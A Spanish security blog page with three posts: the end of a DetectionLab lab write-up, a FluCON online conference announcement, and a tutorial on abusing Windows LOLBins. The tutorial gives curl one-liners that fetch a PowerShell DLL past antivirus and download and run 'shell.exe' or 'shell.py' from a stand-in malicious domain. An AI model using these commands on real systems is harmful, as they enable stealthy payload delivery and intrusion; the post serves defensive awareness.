  • Evaluar qué tipo de alertas y logs genera un ataque específico.
  • Permitir que cualquier individuo de un equipo de Red Team pueda evaluar previamente que rastro genera al realizar un movimiento lateral en un entorno controlado.
  • Facilitar las tareas de despliegue de un entorno de AD para hacer pruebas controladas.
Si bien el laboratorio o "herramienta" fue lanzada por Chris Long a finales de 2017, no he visto muchos posts en castellano haciendo referencia a este laboratorio y como ha avanzado en la actualidad. Y es que, durante la semana pasada, la comunidad de CyberDefender lanzó un fork llamado DetectionLabELK haciendo uso de la ya conocida ELK para el proceso de logging del laboratorio. (La misma que utilizaron mis compañeros David y Diego en su charla sobre Threat Hunting en Sh3llcon :P)


Desde Flu Project os animamos a montaros vuestro propio laboratorio de DetectionLab, ya sea usando Splunk o ELK. 

Por si os ha gustado esta herramienta y queréis que documentemos el proceso para montarla en alguna de las plataformas disponibles (AWS, Windows, Linux), os dejaremos una encuesta en Twitter para que podáis votar :)

Un saludo!

18 mar 2020

¡Lanzamos #FluCON Online Edition!

Buenas a todos. Vivimos unas semanas complejas. Una nueva situación, me atrevería a decir que histórica, en la que nos estamos adaptando en muy poco tiempo a numerosos cambios, en muchos casos, muy difíciles, ya no solamente desde el punto de vista del Covid-19, sino de la crisis económica derivada que nos afectará irremediablemente a todos y que muchos de vosotros, por desgracia, ya estáis sufriendo. Todo el país (permitidme que temporalmente me refiera a España, donde se encuentra nuestro mayor número de lectores), está unida en una difícil lucha que vamos a ganar, aunque de la responsabilidad de todos nosotros depende el hacerlo en tiempo y forma. Por lo que no quería dejar de pasar la oportunidad de pediros el total apoyo a nuestras instituciones para no saturar nuestro sistema sanitario, seguir sus importantes consejos y permanecer en la medida de lo posible en nuestros domicilios.

Sobre esto último precisamente va nuestro artículo de hoy, con el que hemos querido conmemorar que hemos alcanzado la cifra de 4.000.000 de visitas, tras 9 años y 3 meses de actividad :) Desde hace ya más de un año, Pablo, el resto de colaboradores de Flu Project y yo, hemos estado analizando la posibilidad de hacer un congreso conmemorativo para el décimo aniversario del blog. La idea no la hemos descartado, ni mucho menos, y tendrá lugar a lo largo del año que viene. Sin embargo, dada la situación actual por la que irremediablemente nos encontramos todos confinados en nuestros hogares, hemos pensado en lanzar un pequeño congreso online, en el que 8 amigos nos juntemos para impartir gratuitamente algunas conferencias y obsequiar a los seguidores con algunos detalles, cortesía de los patrocinadores que quieran apoyar la iniciativa.

Por tanto, anunciamos oficialmente que la semana que viene tendrá lugar la FluCON Online Edition :)




La lista de ponentes la tenemos casi cerrada, y a lo largo de los próximos días la confirmaremos desde el blog. Por el momento, os podemos confirmar la fecha y hora a la que tendrá lugar. Será el viernes 27 de marzo de 2020, a las 16:30 (UTC+1), es decir, hora de España, para que nos podáis seguir desde LATAM :)

El evento tendrá lugar en directo a través de nuestro canal de YouTube, y se quedará subido para que podáis disfrutarlo cuando queráis:


Por lo que reservaros la fecha para disfrutar con nosotros aprendiendo sobre ciberseguridad a lo largo de una tarde diferente, que trataremos de amenizaros junto a todos los ponentes invitados.

En próximos días os compartiremos la agenda final, y el enlace directo al Video en Streaming.

¡Saludos!

17 mar 2020

Explotando LOLBins en sistemas Windows. Parte 2


Buenas a todos, continuando la cadena sobre LOLBins de Windows, hoy quería hablaros del que fue descubierto gracias a la inclusión de Curl.exe a partir de la versión de Windows 10 build 17063, que añadía al popular sistema de Microsoft una de las históricas utilidades más utilizadas por los sysadmins.

Partiendo del primer artículo de esta cadena, donde lanzamos powershell a través de bitsadmin y rundll32, podríamos jugar a sustituir el binario bitsadmin por curl para descargar nuestra powershell maliciosa pasando desapercibidos:
curl -O https://github.com/p3nt4/PowerShdll/blob/master/dll/bin/x64/Release/PowerShdll.dll?raw=true
Como veis, el resultado es exactamente el mismo, el binario es descargado sin mayor inconveniente:


Es más, mientras que con bitsadmin la descarga era frenada por el antivirus ESET, en el caso de curl, la descarga pasa totalmente desapercibida, hasta que no llegamos a la fase de ejecución.


Ahora, podremos lanzarlo de la misma manera, con rundll32, como ya hicimos anteriormente.



Lo bueno de este LOLBin, es que además podemos jugar con el lanzamiento del ejecutable desde una única instrucción, de manera que si publicásemos en Internet un exe malicioso, dentro de un dominio de confianza, podríamos descargarlo y lanzarlo desde el propio curl:
curl -O https://dominiomalicioso.io/shell.exe & start shell.exe
Así mismo, aprovechando que Python viene incluído de forma nativa en las versiones actuales de Windows 10, podríamos encadenar la descarga de un python malicioso y ejecutarlo posteriormente de la siguiente forma:
curl -O https://dominiomalicioso.io/shell.py & start python shell.py


Muy útil para un potencial atacante, que ganando acceso a un sistema Interno, quiera sembrar el caos rápidamente lanzando un ransomware por ejemplo.

Por ello, no debemos menospreciar el poder de estos binarios, y debemos fortificar adecuadamente los puestos de trabajo de nuestras empresas.

El próximo post de la cadena lo dedicaremos a los LOLBAS, por lo que estad muy atentos :)

Saludos!